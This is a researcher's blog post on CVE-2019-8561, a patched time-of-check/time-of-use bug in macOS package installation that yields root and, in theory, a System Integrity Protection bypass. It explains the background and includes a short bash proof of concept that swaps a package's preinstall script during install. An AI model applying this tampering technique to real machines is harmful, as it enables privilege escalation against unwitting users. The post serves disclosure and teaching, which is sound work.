(N.B This is a half finished post that I’m publishing to share the knowledge and get it out of my drafts)
In June 2019 at Objective by the Sea v2.0 (OBTS), Jaron Bradley dropped CVE-2019-8561. It was patched in macOS 10.14.4
. It’s still worth writing about though because it is wonderfully simple and gets us r00t as well as a System Integrity Protection (SIP) bypass.
In this post we’ll be using GPG Suite and Apple’s Pro Video Formats 2.1 as our target installer packages. This vulnerability has nothing to do with these packages. GPG Suite happens to be the only application bundled as a package installed on my MacBook and Jaron used Pro Video Formats in his OBTS demo.
Background
Packages (.pkg
)
Installation packages are directories, that appear as one file (.pkg
) in Finder, which:
…contain a product or product component -the package’s payload— to be installed on a computer, and install configuration information that determines where and how the product is installed. 1
This is what you see after you double click GPG Suite’s Install.pkg
file.
installer
installer
(/usr/sbin/installer
) is the system binary responsible for installing packages. You can also use it to install packages from the command line. We can step through how to install GPG Suite via installer
in Terminal.app
.
- Download GPG Suite
- Mount the DMG
hdiutil attach "$HOME/Downloads/GPG_Suite-2019.2.dmg"
- Change into the DMGs directory
cd "/Volumes/GPG Suite/"
- Execute
ls
, you should see a file namedInstaller.pkg
0xmachos on 🍎GLaDOS📦 in /Volumes/GPG Suite $ ls GPGSuite-dmg.png Install.pkg Uninstall.app/
- Tell
installer
which package to install and whereinstaller -pkg "Install.pkg" -target "/"
system_installd
SIP Background
SIP was introduced in OS X El Capitan (10.11
). It’s a security feature which is designed to protect the OS files on disk and at run time.
In short, it prevents modification of certain OS files even by root
. However Apple still needs a way to update the OS so:
System Integrity Protection is designed to allow modification of these protected parts only by processes that are signed by Apple and have special entitlements to write to system files, such as Apple software updates and Apple installers. 2
Modification of SIP protected files requires the com.apple.rootless.install
entitlement. You can see which system binaries have this entitlement by looking it up in Jonathon Levin’s entitlements database.
Any Apple signed package/ software will be installed by system_installd
. I first heard of this binary in Howard Oakley’s How your Mac can download an old ‘security’ update by accident post.
We can use Jonathan Levin’s tool jtool
(or codesign -d --entitlements
) to dump system_installd
entitlements:
0xmachos on 🍎GLaDOS📦 in ~
$ jtool --ent /System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/system_installd
...
<key>com.apple.private.launchservices.cansetapplicationstrusted</key>
<true/>
<key>com.apple.rootless.install.heritable</key>
<true/>
...
Any binary with the entitlement com.apple.rootless.install.heritable
affords child process it spawns the ability to inherit it’s com.apple.rootless.install
entitlement. Thus, any package it installs will have the ability to modify SIP protected files.
Patrick Wardle wrote about how this entitlement could be abused to bypass SIP in his 2016 post [0day] Bypassing Apple’s System Integrity Protection.
The Bug
This is a Time of Check Time of Use (TOCTOU) bug within installer
and system_installd
(Package Kit
).
When you initially double click on a .pkg
and it’s loaded by Installer
there is a small window for an attacker to expand the .pkg
modify it and re-flatten it. This User Interface (UI) will still show that the package is correctly code signed and installer
will execute the modified files.
Proof of Concept Exploit
In theory all we have to do to exploit the TOCTOU bug is:
- Monitor
/var/log/install.log
for a package being installed- Extract the package location
- Use
pkgutil
to expand the package - Modify the package contents to add a payload
- Use
pkgutil
to flatten the package - Wait for the installer to finish
expand_path="/tmp/Install"
# Location to expand pkg into
# Detect package install starting
( tail -f -n 0 /var/log/install.log & ) | grep -q 'Opened from:'
# Extract package location
pkg_path=$(grep 'Opened from:' /var/log/install.log | tail -1 | cut -d ' ' -f7-)
# Expand package
pkgutil --expand "${pkg_path}" "${expand_path}"
# Replacing the preinstall script with our payload
preinstall_file="${expand_path}/preinstall.pkg/Scripts/preinstall"
cat <<EOF > "${preinstall_file}"
#!/bin/bash
touch /var/test
chmod +x /var/test
EOF
# Flatten the package
pkgutil --flatten "${expand_path}" "${expand_path}.pkg"
In reality it’s slightly more complicated, but not by much. There are some permission issues that need to be accounted for and a separate TOCTOU issue that affects how much space the system thinks the target disk image (.dmg
) has, if your target package comes on a disk image. We also need to work around read-only disk images.
You can view my full, working, r00t Proof of Concept (PoC) script gpg_poc
for all the details.
SIP Bypass
As mentioned above any binary with the entitlement com.apple.rootless.install.heritable
affords its child process the ability to bypass SIP. So in theory all we need to do is find a package with with that entitlement and exploit the same TOCTU bug.
Jaron already did the hard work, he found that the Final Cut Pro Video Formats package has com.apple.rootless.install.heritable
. This post is half finished so I never managed to get a SIP bypass PoC working. You need to monitor for different events in /var/log/install.log
as the TOCTU bug affects system_installd
slightly differently than installer
.
For the sake of completeness I have published my half done, not currently working, SIP bypass PoC sip_poc
.
Conclusion
Crazy simple bug with big impact. The exploitation is very noisy give that it requires you to modify multiple files on disk, re-size a DMG and change file permissions. Still a phenomenal find from Jaron though.
Go watch Jaron’s OBTSv2 talk “Bad Things in Small Packages” where he demonstrates getting r00t, bypassing SIP and explains the bug better than I have above.
You can find all my code for this at 0xmachos/CVE-2019-8561.
Photo by Caleb Moreno on Unsplash